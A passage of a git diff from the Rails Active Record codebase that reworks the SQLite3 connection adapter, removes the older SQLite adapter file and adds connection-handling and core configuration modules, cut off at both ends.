+        @connection.class.quote(s)
+      end
+
+      def quote_column_name(name) #:nodoc:
+        %Q("#{name.to_s.gsub('"', '""')}")
+      end
+
+      # Quote date/time values for use in SQL input. Includes microseconds
+      # if the value is a Time responding to usec.
+      def quoted_date(value) #:nodoc:
+        if value.respond_to?(:usec)
+          "#{super}.#{sprintf("%06d", value.usec)}"
         else
-          @connection.execute('PRAGMA encoding')[0]['encoding']
+          super
+        end
+      end
+
+      def type_cast(value, column) # :nodoc:
+        return value.to_f if BigDecimal === value
+        return super unless String === value
+        return super unless column && value
+
+        value = super
+        if column.type == :string && value.encoding == Encoding::ASCII_8BIT
+          logger.error "Binary data inserted for `string` type on column `#{column.name}`" if logger
+          value.encode! 'utf-8'
         end
+        value
+      end
+
+      # DATABASE STATEMENTS ======================================
+
+      def explain(arel, binds = [])
+        sql = "EXPLAIN QUERY PLAN #{to_sql(arel, binds)}"
+        ExplainPrettyPrinter.new.pp(exec_query(sql, 'EXPLAIN', binds))
+      end
+
+      class ExplainPrettyPrinter
+        # Pretty prints the result of a EXPLAIN QUERY PLAN in a way that resembles
+        # the output of the SQLite shell:
+        #
+        #   0|0|0|SEARCH TABLE users USING INTEGER PRIMARY KEY (rowid=?) (~1 rows)
+        #   0|1|1|SCAN TABLE posts (~100000 rows)
+        #
+        def pp(result) # :nodoc:
+          result.rows.map do |row|
+            row.join('|')
+          end.join("\n") + "\n"
+        end
+      end
+
+      def exec_query(sql, name = nil, binds = [])
+        log(sql, name, binds) do
+
+          # Don't cache statements without bind values
+          if binds.empty?
+            stmt    = @connection.prepare(sql)
+            cols    = stmt.columns
+            records = stmt.to_a
+            stmt.close
+            stmt = records
+          else
+            cache = @statements[sql] ||= {
+              :stmt => @connection.prepare(sql)
+            }
+            stmt = cache[:stmt]
+            cols = cache[:cols] ||= stmt.columns
+            stmt.reset!
+            stmt.bind_params binds.map { |col, val|
+              type_cast(val, col)
+            }
+          end
+
+          ActiveRecord::Result.new(cols, stmt.to_a)
+        end
+      end
+
+      def exec_delete(sql, name = 'SQL', binds = [])
+        exec_query(sql, name, binds)
+        @connection.changes
+      end
+      alias :exec_update :exec_delete
+
+      def last_inserted_id(result)
+        @connection.last_insert_row_id
       end
 
+      def execute(sql, name = nil) #:nodoc:
+        log(sql, name) { @connection.execute(sql) }
+      end
+
+      def update_sql(sql, name = nil) #:nodoc:
+        super
+        @connection.changes
+      end
+
+      def delete_sql(sql, name = nil) #:nodoc:
+        sql += " WHERE 1=1" unless sql =~ /WHERE/i
+        super sql, name
+      end
+
+      def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil) #:nodoc:
+        super
+        id_value || @connection.last_insert_row_id
+      end
+      alias :create :insert_sql
+
+      def select_rows(sql, name = nil)
+        exec_query(sql, name).rows
+      end
+
+      def create_savepoint
+        execute("SAVEPOINT #{current_savepoint_name}")
+      end
+
+      def rollback_to_savepoint
+        execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
+      end
+
+      def release_savepoint
+        execute("RELEASE SAVEPOINT #{current_savepoint_name}")
+      end
+
+      def begin_db_transaction #:nodoc:
+        log('begin transaction',nil) { @connection.transaction }
+      end
+
+      def commit_db_transaction #:nodoc:
+        log('commit transaction',nil) { @connection.commit }
+      end
+
+      def rollback_db_transaction #:nodoc:
+        log('rollback transaction',nil) { @connection.rollback }
+      end
+
+      # SCHEMA STATEMENTS ========================================
+
+      def tables(name = nil, table_name = nil) #:nodoc:
+        sql = <<-SQL
+          SELECT name
+          FROM sqlite_master
+          WHERE type = 'table' AND NOT name = 'sqlite_sequence'
+        SQL
+        sql << " AND name = #{quote_table_name(table_name)}" if table_name
+
+        exec_query(sql, 'SCHEMA').map do |row|
+          row['name']
+        end
+      end
+
+      def table_exists?(table_name)
+        table_name && tables(nil, table_name).any?
+      end
+
+      # Returns an array of +SQLite3Column+ objects for the table specified by +table_name+.
+      def columns(table_name) #:nodoc:
+        table_structure(table_name).map do |field|
+          case field["dflt_value"]
+          when /^null$/i
+            field["dflt_value"] = nil
+          when /^'(.*)'$/m
+            field["dflt_value"] = $1.gsub("''", "'")
+          when /^"(.*)"$/m
+            field["dflt_value"] = $1.gsub('""', '"')
+          end
+
+          SQLite3Column.new(field['name'], field['dflt_value'], field['type'], field['notnull'].to_i == 0)
+        end
+      end
+
+      # Returns an array of indexes for the given table.
+      def indexes(table_name, name = nil) #:nodoc:
+        exec_query("PRAGMA index_list(#{quote_table_name(table_name)})", 'SCHEMA').map do |row|
+          IndexDefinition.new(
+            table_name,
+            row['name'],
+            row['unique'] != 0,
+            exec_query("PRAGMA index_info('#{row['name']}')", "Columns for index #{row['name']} on #{table_name}").map { |col|
+              col['name']
+            })
+        end
+      end
+
+      def primary_key(table_name) #:nodoc:
+        column = table_structure(table_name).find { |field|
+          field['pk'] == 1
+        }
+        column && column['name']
+      end
+
+      def remove_index!(table_name, index_name) #:nodoc:
+        exec_query "DROP INDEX #{quote_column_name(index_name)}"
+      end
+
+      # Renames a table.
+      #
+      # Example:
+      #   rename_table('octopuses', 'octopi')
+      def rename_table(name, new_name)
+        exec_query "ALTER TABLE #{quote_table_name(name)} RENAME TO #{quote_table_name(new_name)}"
+      end
+
+      # See: http://www.sqlite.org/lang_altertable.html
+      # SQLite has an additional restriction on the ALTER TABLE statement
+      def valid_alter_table_options( type, options)
+        type.to_sym != :primary_key
+      end
+
+      def add_column(table_name, column_name, type, options = {}) #:nodoc:
+        if supports_add_column? && valid_alter_table_options( type, options )
+          super(table_name, column_name, type, options)
+        else
+          alter_table(table_name) do |definition|
+            definition.column(column_name, type, options)
+          end
+        end
+      end
+
+      def remove_column(table_name, *column_names) #:nodoc:
+        raise ArgumentError.new("You must specify at least one column name. Example: remove_column(:people, :first_name)") if column_names.empty?
+        column_names.each do |column_name|
+          alter_table(table_name) do |definition|
+            definition.columns.delete(definition[column_name])
+          end
+        end
+      end
+      alias :remove_columns :remove_column
+
+      def change_column_default(table_name, column_name, default) #:nodoc:
+        alter_table(table_name) do |definition|
+          definition[column_name].default = default
+        end
+      end
+
+      def change_column_null(table_name, column_name, null, default = nil)
+        unless null || default.nil?
+          exec_query("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL")
+        end
+        alter_table(table_name) do |definition|
+          definition[column_name].null = null
+        end
+      end
+
+      def change_column(table_name, column_name, type, options = {}) #:nodoc:
+        alter_table(table_name) do |definition|
+          include_default = options_include_default?(options)
+          definition[column_name].instance_eval do
+            self.type    = type
+            self.limit   = options[:limit] if options.include?(:limit)
+            self.default = options[:default] if include_default
+            self.null    = options[:null] if options.include?(:null)
+            self.precision = options[:precision] if options.include?(:precision)
+            self.scale   = options[:scale] if options.include?(:scale)
+          end
+        end
+      end
+
+      def rename_column(table_name, column_name, new_column_name) #:nodoc:
+        unless columns(table_name).detect{|c| c.name == column_name.to_s }
+          raise ActiveRecord::ActiveRecordError, "Missing column #{table_name}.#{column_name}"
+        end
+        alter_table(table_name, :rename => {column_name.to_s => new_column_name.to_s})
+      end
+
+      def empty_insert_statement_value
+        "VALUES(NULL)"
+      end
+
+      protected
+        def select(sql, name = nil, binds = []) #:nodoc:
+          exec_query(sql, name, binds)
+        end
+
+        def table_structure(table_name)
+          structure = exec_query("PRAGMA table_info(#{quote_table_name(table_name)})", 'SCHEMA').to_hash
+          raise(ActiveRecord::StatementInvalid, "Could not find table '#{table_name}'") if structure.empty?
+          structure
+        end
+
+        def alter_table(table_name, options = {}) #:nodoc:
+          altered_table_name = "altered_#{table_name}"
+          caller = lambda {|definition| yield definition if block_given?}
+
+          transaction do
+            move_table(table_name, altered_table_name,
+              options.merge(:temporary => true))
+            move_table(altered_table_name, table_name, &caller)
+          end
+        end
+
+        def move_table(from, to, options = {}, &block) #:nodoc:
+          copy_table(from, to, options, &block)
+          drop_table(from)
+        end
+
+        def copy_table(from, to, options = {}) #:nodoc:
+          from_primary_key = primary_key(from)
+          options[:primary_key] = from_primary_key if from_primary_key != 'id'
+          unless options[:primary_key]
+            options[:id] = columns(from).detect{|c| c.name == 'id'}.present? && from_primary_key == 'id'
+          end
+          create_table(to, options) do |definition|
+            @definition = definition
+            columns(from).each do |column|
+              column_name = options[:rename] ?
+                (options[:rename][column.name] ||
+                 options[:rename][column.name.to_sym] ||
+                 column.name) : column.name
+
+              @definition.column(column_name, column.type,
+                :limit => column.limit, :default => column.default,
+                :precision => column.precision, :scale => column.scale,
+                :null => column.null)
+            end
+            @definition.primary_key(from_primary_key) if from_primary_key
+            yield @definition if block_given?
+          end
+
+          copy_table_indexes(from, to, options[:rename] || {})
+          copy_table_contents(from, to,
+            @definition.columns.map {|column| column.name},
+            options[:rename] || {})
+        end
+
+        def copy_table_indexes(from, to, rename = {}) #:nodoc:
+          indexes(from).each do |index|
+            name = index.name
+            if to == "altered_#{from}"
+              name = "temp_#{name}"
+            elsif from == "altered_#{to}"
+              name = name[5..-1]
+            end
+
+            to_column_names = columns(to).map { |c| c.name }
+            columns = index.columns.map {|c| rename[c] || c }.select do |column|
+              to_column_names.include?(column)
+            end
+
+            unless columns.empty?
+              # index name can't be the same
+              opts = { :name => name.gsub(/_(#{from})_/, "_#{to}_") }
+              opts[:unique] = true if index.unique
+              add_index(to, columns, opts)
+            end
+          end
+        end
+
+        def copy_table_contents(from, to, columns, rename = {}) #:nodoc:
+          column_mappings = Hash[columns.map {|name| [name, name]}]
+          rename.each { |a| column_mappings[a.last] = a.first }
+          from_columns = columns(from).collect {|col| col.name}
+          columns = columns.find_all{|col| from_columns.include?(column_mappings[col])}
+          quoted_columns = columns.map { |col| quote_column_name(col) } * ','
+
+          quoted_to = quote_table_name(to)
+          exec_query("SELECT * FROM #{quote_table_name(from)}").each do |row|
+            sql = "INSERT INTO #{quoted_to} (#{quoted_columns}) VALUES ("
+            sql << columns.map {|col| quote row[column_mappings[col]]} * ', '
+            sql << ')'
+            exec_query sql
+          end
+        end
+
+        def sqlite_version
+          @sqlite_version ||= SQLite3Adapter::Version.new(select_value('select sqlite_version(*)'))
+        end
+
+        def default_primary_key_type
+          if supports_autoincrement?
+            'INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL'
+          else
+            'INTEGER PRIMARY KEY NOT NULL'
+          end
+        end
+
+        def translate_exception(exception, message)
+          case exception.message
+          when /column(s)? .* (is|are) not unique/
+            RecordNotUnique.new(message, exception)
+          else
+            super
+          end
+        end
+
     end
   end
 end
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb b/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb
deleted file mode 100644
index 35df0a1542..0000000000
--- a/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb
+++ /dev/null
@@ -1,572 +0,0 @@
-require 'active_record/connection_adapters/abstract_adapter'
-require 'active_record/connection_adapters/statement_pool'
-require 'active_support/core_ext/string/encoding'
-
-module ActiveRecord
-  module ConnectionAdapters #:nodoc:
-    class SQLiteColumn < Column #:nodoc:
-      class <<  self
-        def string_to_binary(value)
-          value.gsub(/\0|\%/n) do |b|
-            case b
-              when "\0" then "%00"
-              when "%"  then "%25"
-            end
-          end
-        end
-
-        def binary_to_string(value)
-          if value.respond_to?(:force_encoding) && value.encoding != Encoding::ASCII_8BIT
-            value = value.force_encoding(Encoding::ASCII_8BIT)
-          end
-
-          value.gsub(/%00|%25/n) do |b|
-            case b
-              when "%00" then "\0"
-              when "%25" then "%"
-            end
-          end
-        end
-      end
-    end
-
-    # The SQLite adapter works with both the 2.x and 3.x series of SQLite with the sqlite-ruby
-    # drivers (available both as gems and from http://rubyforge.org/projects/sqlite-ruby/).
-    #
-    # Options:
-    #
-    # * <tt>:database</tt> - Path to the database file.
-    class SQLiteAdapter < AbstractAdapter
-      class Version
-        include Comparable
-
-        def initialize(version_string)
-          @version = version_string.split('.').map { |v| v.to_i }
-        end
-
-        def <=>(version_string)
-          @version <=> version_string.split('.').map { |v| v.to_i }
-        end
-      end
-
-      class StatementPool < ConnectionAdapters::StatementPool
-        def initialize(connection, max)
-          super
-          @cache = Hash.new { |h,pid| h[pid] = {} }
-        end
-
-        def each(&block); cache.each(&block); end
-        def key?(key);    cache.key?(key); end
-        def [](key);      cache[key]; end
-        def length;       cache.length; end
-
-        def []=(sql, key)
-          while @max <= cache.size
-            dealloc(cache.shift.last[:stmt])
-          end
-          cache[sql] = key
-        end
-
-        def clear
-          cache.values.each do |hash|
-            dealloc hash[:stmt]
-          end
-          cache.clear
-        end
-
-        private
-        def cache
-          @cache[$$]
-        end
-
-        def dealloc(stmt)
-          stmt.close unless stmt.closed?
-        end
-      end
-
-      def initialize(connection, logger, config)
-        super(connection, logger)
-        @statements = StatementPool.new(@connection,
-                                        config.fetch(:statement_limit) { 1000 })
-        @config = config
-      end
-
-      def self.visitor_for(pool) # :nodoc:
-        Arel::Visitors::SQLite.new(pool)
-      end
-
-      def adapter_name #:nodoc:
-        'SQLite'
-      end
-
-      # Returns true if SQLite version is '2.0.0' or greater, false otherwise.
-      def supports_ddl_transactions?
-        sqlite_version >= '2.0.0'
-      end
-
-      # Returns true if SQLite version is '3.6.8' or greater, false otherwise.
-      def supports_savepoints?
-        sqlite_version >= '3.6.8'
-      end
-
-      # Returns true, since this connection adapter supports prepared statement
-      # caching.
-      def supports_statement_cache?
-        true
-      end
-
-      # Returns true, since this connection adapter supports migrations.
-      def supports_migrations? #:nodoc:
-        true
-      end
-
-      # Returns true.
-      def supports_primary_key? #:nodoc:
-        true
-      end
-
-      def requires_reloading?
-        true
-      end
-
-      # Returns true if SQLite version is '3.1.6' or greater, false otherwise.
-      def supports_add_column?
-        sqlite_version >= '3.1.6'
-      end
-
-      # Disconnects from the database if already connected. Otherwise, this
-      # method does nothing.
-      def disconnect!
-        super
-        clear_cache!
-        @connection.close rescue nil
-      end
-
-      # Clears the prepared statements cache.
-      def clear_cache!
-        @statements.clear
-      end
-
-      # Returns true if SQLite version is '3.2.6' or greater, false otherwise.
-      def supports_count_distinct? #:nodoc:
-        sqlite_version >= '3.2.6'
-      end
-
-      # Returns true if SQLite version is '3.1.0' or greater, false otherwise.
-      def supports_autoincrement? #:nodoc:
-        sqlite_version >= '3.1.0'
-      end
-
-      def supports_index_sort_order?
-        sqlite_version >= '3.3.0'
-      end
-
-      def native_database_types #:nodoc:
-        {
-          :primary_key => default_primary_key_type,
-          :string      => { :name => "varchar", :limit => 255 },
-          :text        => { :name => "text" },
-          :integer     => { :name => "integer" },
-          :float       => { :name => "float" },
-          :decimal     => { :name => "decimal" },
-          :datetime    => { :name => "datetime" },
-          :timestamp   => { :name => "datetime" },
-          :time        => { :name => "time" },
-          :date        => { :name => "date" },
-          :binary      => { :name => "blob" },
-          :boolean     => { :name => "boolean" }
-        }
-      end
-
-
-      # QUOTING ==================================================
-
-      def quote_string(s) #:nodoc:
-        @connection.class.quote(s)
-      end
-
-      def quote_column_name(name) #:nodoc:
-        %Q("#{name.to_s.gsub('"', '""')}")
-      end
-
-      # Quote date/time values for use in SQL input. Includes microseconds
-      # if the value is a Time responding to usec.
-      def quoted_date(value) #:nodoc:
-        if value.respond_to?(:usec)
-          "#{super}.#{sprintf("%06d", value.usec)}"
-        else
-          super
-        end
-      end
-
-      if "<3".encoding_aware?
-        def type_cast(value, column) # :nodoc:
-          return value.to_f if BigDecimal === value
-          return super unless String === value
-          return super unless column && value
-
-          value = super
-          if column.type == :string && value.encoding == Encoding::ASCII_8BIT
-            @logger.error "Binary data inserted for `string` type on column `#{column.name}`"
-            value.encode! 'utf-8'
-          end
-          value
-        end
-      else
-        def type_cast(value, column) # :nodoc:
-          return super unless BigDecimal === value
-
-          value.to_f
-        end
-      end
-
-      # DATABASE STATEMENTS ======================================
-
-      def explain(arel)
-        sql = "EXPLAIN QUERY PLAN #{to_sql(arel)}"
-        ExplainPrettyPrinter.new.pp(exec_query(sql, 'EXPLAIN'))
-      end
-
-      class ExplainPrettyPrinter
-        # Pretty prints the result of a EXPLAIN QUERY PLAN in a way that resembles
-        # the output of the SQLite shell:
-        #
-        #   0|0|0|SEARCH TABLE users USING INTEGER PRIMARY KEY (rowid=?) (~1 rows)
-        #   0|1|1|SCAN TABLE posts (~100000 rows)
-        #
-        def pp(result) # :nodoc:
-          result.rows.map do |row|
-            row.join('|')
-          end.join("\n") + "\n"
-        end
-      end
-
-      def exec_query(sql, name = nil, binds = [])
-        log(sql, name, binds) do
-
-          # Don't cache statements without bind values
-          if binds.empty?
-            stmt    = @connection.prepare(sql)
-            cols    = stmt.columns
-            records = stmt.to_a
-            stmt.close
-            stmt = records
-          else
-            cache = @statements[sql] ||= {
-              :stmt => @connection.prepare(sql)
-            }
-            stmt = cache[:stmt]
-            cols = cache[:cols] ||= stmt.columns
-            stmt.reset!
-            stmt.bind_params binds.map { |col, val|
-              type_cast(val, col)
-            }
-          end
-
-          ActiveRecord::Result.new(cols, stmt.to_a)
-        end
-      end
-
-      def exec_delete(sql, name = 'SQL', binds = [])
-        exec_query(sql, name, binds)
-        @connection.changes
-      end
-      alias :exec_update :exec_delete
-
-      def last_inserted_id(result)
-        @connection.last_insert_row_id
-      end
-
-      def execute(sql, name = nil) #:nodoc:
-        log(sql, name) { @connection.execute(sql) }
-      end
-
-      def update_sql(sql, name = nil) #:nodoc:
-        super
-        @connection.changes
-      end
-
-      def delete_sql(sql, name = nil) #:nodoc:
-        sql += " WHERE 1=1" unless sql =~ /WHERE/i
-        super sql, name
-      end
-
-      def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil) #:nodoc:
-        super
-        id_value || @connection.last_insert_row_id
-      end
-      alias :create :insert_sql
-
-      def select_rows(sql, name = nil)
-        exec_query(sql, name).rows
-      end
-
-      def create_savepoint
-        execute("SAVEPOINT #{current_savepoint_name}")
-      end
-
-      def rollback_to_savepoint
-        execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
-      end
-
-      def release_savepoint
-        execute("RELEASE SAVEPOINT #{current_savepoint_name}")
-      end
-
-      def begin_db_transaction #:nodoc:
-        log('begin transaction',nil) { @connection.transaction }
-      end
-
-      def commit_db_transaction #:nodoc:
-        log('commit transaction',nil) { @connection.commit }
-      end
-
-      def rollback_db_transaction #:nodoc:
-        log('rollback transaction',nil) { @connection.rollback }
-      end
-
-      # SCHEMA STATEMENTS ========================================
-
-      def tables(name = 'SCHEMA') #:nodoc:
-        sql = <<-SQL
-          SELECT name
-          FROM sqlite_master
-          WHERE type = 'table' AND NOT name = 'sqlite_sequence'
-        SQL
-
-        exec_query(sql, name).map do |row|
-          row['name']
-        end
-      end
-
-      # Returns an array of +SQLiteColumn+ objects for the table specified by +table_name+.
-      def columns(table_name, name = nil) #:nodoc:
-        table_structure(table_name).map do |field|
-          case field["dflt_value"]
-          when /^null$/i
-            field["dflt_value"] = nil
-          when /^'(.*)'$/
-            field["dflt_value"] = $1.gsub(/''/, "'")
-          when /^"(.*)"$/
-            field["dflt_value"] = $1.gsub(/""/, '"')
-          end
-
-          SQLiteColumn.new(field['name'], field['dflt_value'], field['type'], field['notnull'].to_i == 0)
-        end
-      end
-
-      # Returns an array of indexes for the given table.
-      def indexes(table_name, name = nil) #:nodoc:
-        exec_query("PRAGMA index_list(#{quote_table_name(table_name)})", name).map do |row|
-          IndexDefinition.new(
-            table_name,
-            row['name'],
-            row['unique'] != 0,
-            exec_query("PRAGMA index_info('#{row['name']}')").map { |col|
-              col['name']
-            })
-        end
-      end
-
-      def primary_key(table_name) #:nodoc:
-        column = table_structure(table_name).find { |field|
-          field['pk'] == 1
-        }
-        column && column['name']
-      end
-
-      def remove_index!(table_name, index_name) #:nodoc:
-        exec_query "DROP INDEX #{quote_column_name(index_name)}"
-      end
-
-      # Renames a table.
-      #
-      # Example:
-      #   rename_table('octopuses', 'octopi')
-      def rename_table(name, new_name)
-        exec_query "ALTER TABLE #{quote_table_name(name)} RENAME TO #{quote_table_name(new_name)}"
-      end
-
-      # See: http://www.sqlite.org/lang_altertable.html
-      # SQLite has an additional restriction on the ALTER TABLE statement
-      def valid_alter_table_options( type, options)
-        type.to_sym != :primary_key
-      end
-
-      def add_column(table_name, column_name, type, options = {}) #:nodoc:
-        if supports_add_column? && valid_alter_table_options( type, options )
-          super(table_name, column_name, type, options)
-        else
-          alter_table(table_name) do |definition|
-            definition.column(column_name, type, options)
-          end
-        end
-      end
-
-      def remove_column(table_name, *column_names) #:nodoc:
-        raise ArgumentError.new("You must specify at least one column name. Example: remove_column(:people, :first_name)") if column_names.empty?
-        column_names.flatten.each do |column_name|
-          alter_table(table_name) do |definition|
-            definition.columns.delete(definition[column_name])
-          end
-        end
-      end
-      alias :remove_columns :remove_column
-
-      def change_column_default(table_name, column_name, default) #:nodoc:
-        alter_table(table_name) do |definition|
-          definition[column_name].default = default
-        end
-      end
-
-      def change_column_null(table_name, column_name, null, default = nil)
-        unless null || default.nil?
-          exec_query("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL")
-        end
-        alter_table(table_name) do |definition|
-          definition[column_name].null = null
-        end
-      end
-
-      def change_column(table_name, column_name, type, options = {}) #:nodoc:
-        alter_table(table_name) do |definition|
-          include_default = options_include_default?(options)
-          definition[column_name].instance_eval do
-            self.type    = type
-            self.limit   = options[:limit] if options.include?(:limit)
-            self.default = options[:default] if include_default
-            self.null    = options[:null] if options.include?(:null)
-            self.precision = options[:precision] if options.include?(:precision)
-            self.scale   = options[:scale] if options.include?(:scale)
-          end
-        end
-      end
-
-      def rename_column(table_name, column_name, new_column_name) #:nodoc:
-        unless columns(table_name).detect{|c| c.name == column_name.to_s }
-          raise ActiveRecord::ActiveRecordError, "Missing column #{table_name}.#{column_name}"
-        end
-        alter_table(table_name, :rename => {column_name.to_s => new_column_name.to_s})
-      end
-
-      def empty_insert_statement_value
-        "VALUES(NULL)"
-      end
-
-      protected
-        def select(sql, name = nil, binds = []) #:nodoc:
-          exec_query(sql, name, binds).to_a
-        end
-
-        def table_structure(table_name)
-          structure = exec_query("PRAGMA table_info(#{quote_table_name(table_name)})", 'SCHEMA').to_hash
-          raise(ActiveRecord::StatementInvalid, "Could not find table '#{table_name}'") if structure.empty?
-          structure
-        end
-
-        def alter_table(table_name, options = {}) #:nodoc:
-          altered_table_name = "altered_#{table_name}"
-          caller = lambda {|definition| yield definition if block_given?}
-
-          transaction do
-            move_table(table_name, altered_table_name,
-              options.merge(:temporary => true))
-            move_table(altered_table_name, table_name, &caller)
-          end
-        end
-
-        def move_table(from, to, options = {}, &block) #:nodoc:
-          copy_table(from, to, options, &block)
-          drop_table(from)
-        end
-
-        def copy_table(from, to, options = {}, &block) #:nodoc:
-          from_columns, from_primary_key = columns(from), primary_key(from)
-          options = options.merge(:id => (!from_columns.detect {|c| c.name == 'id'}.nil? && 'id' == primary_key(from).to_s))
-          table_definition = nil
-          create_table(to, options) do |definition|
-            table_definition = definition
-            from_columns.each do |column|
-              column_name = options[:rename] ?
-                (options[:rename][column.name] ||
-                 options[:rename][column.name.to_sym] ||
-                 column.name) : column.name
-
-              table_definition.column(column_name, column.type,
-                :limit => column.limit, :default => column.default,
-                :precision => column.precision, :scale => column.scale,
-                :null => column.null)
-            end
-            table_definition.primary_key from_primary_key if from_primary_key
-            table_definition.instance_eval(&block) if block
-          end
-
-          copy_table_indexes(from, to, options[:rename] || {})
-          copy_table_contents(from, to,
-            table_definition.columns.map {|column| column.name},
-            options[:rename] || {})
-        end
-
-        def copy_table_indexes(from, to, rename = {}) #:nodoc:
-          indexes(from).each do |index|
-            name = index.name
-            if to == "altered_#{from}"
-              name = "temp_#{name}"
-            elsif from == "altered_#{to}"
-              name = name[5..-1]
-            end
-
-            to_column_names = columns(to).map { |c| c.name }
-            columns = index.columns.map {|c| rename[c] || c }.select do |column|
-              to_column_names.include?(column)
-            end
-
-            unless columns.empty?
-              # index name can't be the same
-              opts = { :name => name.gsub(/_(#{from})_/, "_#{to}_") }
-              opts[:unique] = true if index.unique
-              add_index(to, columns, opts)
-            end
-          end
-        end
-
-        def copy_table_contents(from, to, columns, rename = {}) #:nodoc:
-          column_mappings = Hash[columns.map {|name| [name, name]}]
-          rename.each { |a| column_mappings[a.last] = a.first }
-          from_columns = columns(from).collect {|col| col.name}
-          columns = columns.find_all{|col| from_columns.include?(column_mappings[col])}
-          quoted_columns = columns.map { |col| quote_column_name(col) } * ','
-
-          quoted_to = quote_table_name(to)
-          exec_query("SELECT * FROM #{quote_table_name(from)}").each do |row|
-            sql = "INSERT INTO #{quoted_to} (#{quoted_columns}) VALUES ("
-            sql << columns.map {|col| quote row[column_mappings[col]]} * ', '
-            sql << ')'
-            exec_query sql
-          end
-        end
-
-        def sqlite_version
-          @sqlite_version ||= SQLiteAdapter::Version.new(select_value('select sqlite_version(*)'))
-        end
-
-        def default_primary_key_type
-          if supports_autoincrement?
-            'INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL'
-          else
-            'INTEGER PRIMARY KEY NOT NULL'
-          end
-        end
-
-        def translate_exception(exception, message)
-          case exception.message
-          when /column(s)? .* (is|are) not unique/
-            RecordNotUnique.new(message, exception)
-          else
-            super
-          end
-        end
-
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/connection_handling.rb b/activerecord/lib/active_record/connection_handling.rb
new file mode 100644
index 0000000000..7863c795ed
--- /dev/null
+++ b/activerecord/lib/active_record/connection_handling.rb
@@ -0,0 +1,99 @@
+
+module ActiveRecord
+  module ConnectionHandling
+    # Establishes the connection to the database. Accepts a hash as input where
+    # the <tt>:adapter</tt> key must be specified with the name of a database adapter (in lower-case)
+    # example for regular databases (MySQL, Postgresql, etc):
+    #
+    #   ActiveRecord::Base.establish_connection(
+    #     :adapter  => "mysql",
+    #     :host     => "localhost",
+    #     :username => "myuser",
+    #     :password => "mypass",
+    #     :database => "somedatabase"
+    #   )
+    #
+    # Example for SQLite database:
+    #
+    #   ActiveRecord::Base.establish_connection(
+    #     :adapter => "sqlite",
+    #     :database  => "path/to/dbfile"
+    #   )
+    #
+    # Also accepts keys as strings (for parsing from YAML for example):
+    #
+    #   ActiveRecord::Base.establish_connection(
+    #     "adapter" => "sqlite",
+    #     "database"  => "path/to/dbfile"
+    #   )
+    #
+    # Or a URL:
+    #
+    #   ActiveRecord::Base.establish_connection(
+    #     "postgres://myuser:mypass@localhost/somedatabase"
+    #   )
+    #
+    # The exceptions AdapterNotSpecified, AdapterNotFound and ArgumentError
+    # may be returned on an error.
+    def establish_connection(spec = ENV["DATABASE_URL"])
+      resolver = ConnectionAdapters::ConnectionSpecification::Resolver.new spec, configurations
+      spec = resolver.spec
+
+      unless respond_to?(spec.adapter_method)
+        raise AdapterNotFound, "database configuration specifies nonexistent #{spec.config[:adapter]} adapter"
+      end
+
+      remove_connection
+      connection_handler.establish_connection name, spec
+    end
+
+    # Returns the connection currently associated with the class. This can
+    # also be used to "borrow" the connection to do database work unrelated
+    # to any of the specific Active Records.
+    def connection
+      retrieve_connection
+    end
+
+    def connection_id
+      Thread.current['ActiveRecord::Base.connection_id']
+    end
+
+    def connection_id=(connection_id)
+      Thread.current['ActiveRecord::Base.connection_id'] = connection_id
+    end
+
+    # Returns the configuration of the associated connection as a hash:
+    #
+    #  ActiveRecord::Base.connection_config
+    #  # => {:pool=>5, :timeout=>5000, :database=>"db/development.sqlite3", :adapter=>"sqlite3"}
+    #
+    # Please use only for reading.
+    def connection_config
+      connection_pool.spec.config
+    end
+
+    def connection_pool
+      connection_handler.retrieve_connection_pool(self) or raise ConnectionNotEstablished
+    end
+
+    def retrieve_connection
+      connection_handler.retrieve_connection(self)
+    end
+
+    # Returns true if Active Record is connected.
+    def connected?
+      connection_handler.connected?(self)
+    end
+
+    def remove_connection(klass = self)
+      connection_handler.remove_connection(klass)
+    end
+
+    def clear_cache! # :nodoc:
+      connection.schema_cache.clear!
+    end
+
+    delegate :clear_active_connections!, :clear_reloadable_connections!,
+      :clear_all_connections!, :to => :connection_handler
+  end
+end
diff --git a/activerecord/lib/active_record/core.rb b/activerecord/lib/active_record/core.rb
new file mode 100644
index 0000000000..aad21b8e37
--- /dev/null
+++ b/activerecord/lib/active_record/core.rb
@@ -0,0 +1,399 @@
+require 'active_support/core_ext/hash/indifferent_access'
+require 'active_support/core_ext/object/duplicable'
+require 'thread'
+
+module ActiveRecord
+  ActiveSupport.on_load(:active_record_config) do
+    ##
+    # :singleton-method:
+    #
+    # Accepts a logger conforming to the interface of Log4r which is then
+    # passed on to any new database connections made and which can be
+    # retrieved on both a class and instance level by calling +logger+.
+    mattr_accessor :logger, instance_accessor: false
+
+    ##
+    # :singleton-method:
+    # Contains the database configuration - as is typically stored in config/database.yml -
+    # as a Hash.
+    #
+    # For example, the following database.yml...
+    #
+    #   development:
+    #     adapter: sqlite3
+    #     database: db/development.sqlite3
+    #
+    #   production:
+    #     adapter: sqlite3
+    #     database: db/production.sqlite3
+    #
+    # ...would result in ActiveRecord::Base.configurations to look like this:
+    #
+    #   {
+    #      'development' => {
+    #         'adapter'  => 'sqlite3',
+    #         'database' => 'db/development.sqlite3'
+    #      },
+    #      'production' => {
+    #         'adapter'  => 'sqlite3',
+    #         'database' => 'db/production.sqlite3'
+    #      }
+    #   }
+    mattr_accessor :configurations, instance_accessor: false
+    self.configurations = {}
+
+    ##
+    # :singleton-method:
+    # Determines whether to use Time.utc (using :utc) or Time.local (using :local) when pulling
+    # dates and times from the database. This is set to :utc by default.
+    mattr_accessor :default_timezone, instance_accessor: false
+    self.default_timezone = :utc
+
+    ##
+    # :singleton-method:
+    # Specifies the format to use when dumping the database schema with Rails'
+    # Rakefile. If :sql, the schema is dumped as (potentially database-
